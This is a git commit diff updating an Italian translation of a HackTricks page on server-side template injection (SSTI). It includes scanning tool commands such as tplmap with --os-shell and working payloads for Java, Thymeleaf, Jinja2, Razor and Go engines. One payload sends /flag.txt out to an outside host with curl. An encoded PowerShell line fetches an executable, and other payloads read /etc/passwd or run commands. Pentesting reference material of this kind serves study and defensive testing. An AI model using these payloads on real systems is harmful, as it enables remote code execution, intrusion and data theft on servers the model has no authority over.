Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-03-26 07:58:58 +00:00
parent 15d4f21007
commit 156b74c955

View file

@ -28,9 +28,9 @@ Jinja è un motore di template popolare utilizzato nelle applicazioni web. Consi
```python
output = template.render(name=request.args.get('name'))
```
Nel codice vulnerabile, il parametro `name` dalla richiesta dell'utente viene direttamente inserito nel template utilizzando la funzione `render`. Questo potenzialmente potrebbe consentire a un attaccante di iniettare codice dannoso nel parametro `name`, portando a una iniezione di template lato server.
Nel codice vulnerabile, il parametro `name` dalla richiesta dell'utente viene direttamente passato al template utilizzando la funzione `render`. Questo potenzialmente potrebbe consentire a un attaccante di iniettare codice dannoso nel parametro `name`, portando a una iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload del genere:
Ad esempio, un attaccante potrebbe creare una richiesta con un payload come questo:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
@ -43,7 +43,7 @@ Per prevenire le vulnerabilità di iniezione di template lato server, gli svilup
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzare il template** è un approccio diretto. Ciò comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server tra dati regolari e questo payload speciale. Gli indicatori di vulnerabilità includono:
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
- Assenza del payload nella riflessione, o parti mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
- Assenza del payload nel riflessione, o parti mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
- **Contesto in Testo Puro**: Distinguerlo da XSS controllando se il server valuta le espressioni del template (ad esempio, `{{7*7}}`, `${7*7}`).
- **Contesto del Codice**: Confermare la vulnerabilità modificando i parametri di input. Ad esempio, cambiare `greeting` in `http://sito-web-vulnerabile.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
@ -72,11 +72,11 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Tabella di Iniezione di Template](https://github.com/Hackmanit/template-injection-table)
### [Tabella di Iniezione del Modello](https://github.com/Hackmanit/template-injection-table)
una tabella interattiva contenente i polyglot di iniezione di template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
una tabella interattiva contenente i poliglotti di iniezione del modello più efficienti insieme alle risposte attese dei 44 motori di modello più importanti.
## Exploit
## Exploits
### Generico
@ -87,7 +87,7 @@ In questa **lista di parole** puoi trovare le **variabili definite** negli ambie
### Java
**Java - Iniezione di base**
**Java - Iniezione di Base**
```java
${7*7}
${{7*7}}
@ -195,7 +195,7 @@ Considera il seguente frammento di codice, che potrebbe essere suscettibile a sf
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Questo indica che se il motore del template elabora in modo improprio questi input, potrebbe portare all'esecuzione remota di codice che accede a URL come:
Questo indica che se il motore del template elabora in modo improprio questi input, potrebbe portare all'esecuzione remota di codice che accede agli URL come:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -214,7 +214,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Bypassare i filtri**
Possono essere utilizzate più espressioni di variabili, se `${...}` non funziona prova con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
È possibile utilizzare più espressioni di variabili, se `${...}` non funziona prova con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
* Leggi `/etc/passwd`
```java
@ -294,7 +294,7 @@ Nuova versione di Pebble:
```
### Jinjava (Java)
Jinjava è un motore di template Java che supporta l'esecuzione di codice Java all'interno dei template. Questo lo rende estremamente potente ma anche pericoloso se non adeguatamente controllato. Un attaccante potrebbe sfruttare questa vulnerabilità per eseguire codice dannoso sul server.
Il server-side template injection (SSTI) è una vulnerabilità che consente agli attaccanti di eseguire codice lato server all'interno di un modello. Jinjava è un motore di template Java che supporta l'esecuzione di codice Java all'interno dei modelli. Per sfruttare questa vulnerabilità, gli attaccanti possono iniettare codice Java dannoso all'interno dei modelli per eseguire operazioni dannose sul server. Per prevenire attacchi SSTI con Jinjava, assicurarsi di sanificare e validare tutti i dati di input prima di renderli nei modelli.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Linguaggio di espressione - EL (Java)
### Linguaggio di Espressione - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
@ -380,7 +380,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene ampiamente utilizzato in molte tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene ampiamente utilizzato in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
* **JavaServer Faces (JSF)**: Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni di backend corrispondenti.
* **JavaServer Pages (JSP)**: EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, facilitando il collegamento degli elementi della pagina ai dati dell'applicazione.
@ -421,7 +421,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto d'incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
@ -489,7 +489,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates è un motore di template nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates utilizza il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Plates è un motore di templating nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates utilizza il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
```php
@ -553,15 +553,15 @@ Modello di layout:
### Description
The `authors.php` file is vulnerable to Server-Side Template Injection (SSTI). This vulnerability allows an attacker to inject and execute arbitrary code on the server by manipulating template variables.
The `authors.php` file is vulnerable to Server-Side Template Injection (SSTI). This vulnerability allows an attacker to inject and execute arbitrary code on the server.
### Exploitation
To exploit this vulnerability, an attacker can inject template code into the `author` parameter of the URL. For example, by appending `?author={{7*7}}` to the URL, the attacker can perform arithmetic operations on the server.
To exploit this vulnerability, an attacker can craft a payload that will be executed by the server when the `authors.php` file is accessed. This can lead to data exfiltration, code execution, and other malicious activities.
### Recommendation
To mitigate SSTI vulnerabilities, avoid directly passing user input to template engines. Sanitize and validate all user inputs before using them in templates.
It is recommended to sanitize and validate user input to prevent SSTI vulnerabilities. Additionally, using secure coding practices and keeping software up to date can help mitigate the risk of SSTI attacks.
```php
<?php
//we want to display this author list
@ -672,10 +672,10 @@ URLencoded:
| **Template** | **Descrizione** |
| ------------ | --------------------------------------- |
| | Valuta e renderizza l'output |
| | Valuta e renderizza l'output |
| | Valuta e renderizza l'output codificato in HTML |
| | Commento |
| e | Consenti codice (disabilitato per impostazione predefinita) |
| | Commento |
| e | Consente il codice (disabilitato per impostazione predefinita) |
* \= 49
@ -753,7 +753,7 @@ home = pugjs.render(injected_page)
### Python
Consulta la seguente pagina per apprendere trucchi sull'**esecuzione di comandi arbitrari eludendo le sandbox** in python:
Controlla la seguente pagina per imparare trucchi sull'**esecuzione di comandi arbitrari eludendo le sandbox** in python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -787,7 +787,7 @@ Consulta la seguente pagina per apprendere trucchi sull'**esecuzione di comandi
[Sito web ufficiale](http://jinja.pocoo.org)
> Jinja2 è un motore di template completo per Python. Ha il pieno supporto Unicode, un ambiente di esecuzione sandbox opzionale integrato, ampiamente utilizzato e con licenza BSD.
> Jinja2 è un motore di template completo per Python. Supporta pienamente Unicode, ha un ambiente di esecuzione sandbox opzionale integrato, è ampiamente utilizzato e con licenza BSD.
* `{{7*7}} = Errore`
* `${7*7} = ${7*7}`
@ -837,7 +837,7 @@ Consulta la seguente pagina per apprendere trucchi sull'**esecuzione di comandi
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Ulteriori dettagli su come sfruttare Jinja**:
**Ulteriori dettagli su come abusare di Jinja**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
@ -862,13 +862,13 @@ ${x}
* `@(2+2) <= Success`
* `@() <= Success`
* `@("{{code}}") <= Success`
* `@ <= Success`
* `@ <=Success`
* `@{} <= ERRORE!`
* `@{ <= ERRORE!`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxAC8AdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQAIAE8AdQB0AEYASQBsAGUAIAhDAOkAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare una webshell. È possibile trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
@ -910,7 +910,7 @@ Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con
**Sfruttamento XSS**
Con il pacchetto `text/template`, l'XSS può essere diretto inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenirlo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenirlo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@ -964,7 +964,7 @@ Se pensi che possa esserti utile, leggi:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **il compito di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
@ -974,9 +974,9 @@ Se pensi che possa esserti utile, leggi:
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.